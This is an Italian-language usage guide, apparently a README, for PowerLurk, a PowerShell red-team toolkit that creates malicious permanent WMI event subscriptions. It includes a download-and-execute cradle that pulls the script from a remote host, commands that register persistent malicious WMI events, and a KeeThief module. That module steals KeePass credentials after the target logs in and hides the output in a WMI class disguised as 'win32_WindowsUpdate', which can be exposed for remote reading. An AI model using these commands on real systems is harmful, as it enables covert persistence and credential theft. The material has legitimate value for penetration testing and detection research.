
Eventi WMI maligni utilizzando PowerShell
PowerLurk è un set di strumenti PowerShell per creare sottoscrizioni a eventi WMI dannose. L'obiettivo è rendere più semplice attivare eventi WMI durante un penetration test o un engagement red team. Per informazioni più dettagliate, consulta il mio post Creeping on Users with WMI Events: Introducing PowerLurk: https://pentestarmoury.com/2016/07/13/151/
Per utilizzare PowerLurk, devi importare il modulo PowerLurk.ps1 nella tua istanza di PowerShell. Questo può essere fatto in un paio di modi:
Importazione locale
PS> powershell.exe -NoP -Exec ByPass -C Import-Module c:\\temp\\PowerLurk.ps1
Download Cradle
PS> powershell.exe -NoP -C "IEX (New-Object Net.WebClient).DownloadString('http://<IP>/PowerLurk.ps1'); Get-WmiEvent"
Per impostazione predefinita, Get-WmiEvent interroga WMI per tutte le istanze di __FilterToConsumerBinding e le relative istanze di __EventFilter e __EventConsumer. Gli oggetti restituiti possono essere eliminati inviandoli tramite pipe a Remove-WmiObject.
Restituisce tutti gli oggetti evento WMI attivi con il nome 'RedTeamEvent'
Get-WmiEvent -Name RedTeamEvent
Twitter - @sw4mp_fox Elimina oggetti evento WMI 'RedTeamEvent'
Get-WmiEvent -Name RedTeamEvent | Remove-WmiObject
Questo cmdlet è il cuore di PowerLurk. Prende un comando, script o scriptblock come azione e un trigger predefinito, quindi crea il filtro WMI, il consumer e il FilterToConsumerBinding necessari per una sottoscrizione permanente a un evento WMI completamente funzionale. Numerosi trigger di eventi WMI, o filtri, sono preconfigurati. Il trigger deve essere specificato con il parametro -Trigger. Sono disponibili tre consumer tra cui scegliere: PermanentCommand, PermanentScript e LocalScriptBLock. Esempi di utilizzo:
Scrive l'ID processo di notepad.exe in C:\temp\log.txt ogni volta che notepad.exe viene avviato
Register-MaliciousWmiEvent -EventName LogNotepad -PermanentCommand “cmd.exe /c echo %ProcessId% >> c:\\temp\\log.txt” -Trigger ProcessStart -ProcessName notepad.exe
Pulizia dell'evento WMI dannoso
Get-WmiEvent -Name LogNotepad | Remove-WmiObject
Crea un evento WMI permanente che eseguirà KeeThief (vedi KeeThief di @Harmj0y su https://github.com/adaptivethreat/KeeThief) 4 minuti dopo l'avvio del processo 'keepass'. Questo dà al target il tempo di accedere al proprio database KeePass.
La logica di KeeThief e il suo output vengono archiviati in un namespace WMI personalizzato e in una classe o in valori di registro. Se si seleziona un namespace WMI personalizzato e una classe personalizzata, hai la possibilità di esporre quel namespace in modo che possa essere letto da remoto da 'Everyone'. Il percorso di registro e i nomi dei valori sono personalizzabili tramite i relativi switch; tuttavia, questa è una funzionalità opzionale in quanto sono impostati valori predefiniti. Esempi di utilizzo:
Aggiungi evento KeeThiefLurker utilizzando l'archiviazione di classe WMI
Add-KeeThiefLurker -EventName KeeThief -WMI
Interroga classe WMI personalizzata
Get-WmiObject -Namespace root\software win32_WindowsUpdate -List
Estrai output KeeThief dalla classe WMI
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($(Get-WmiObject -Namespace root\software win32_WindowsUpdate -List).Properties['Output'].value))
Pulizia di KeeThiefLurker
Remove-KeeThiefLurker -EventName KeeThief -WMI
Twitter - @sw4mp_f0x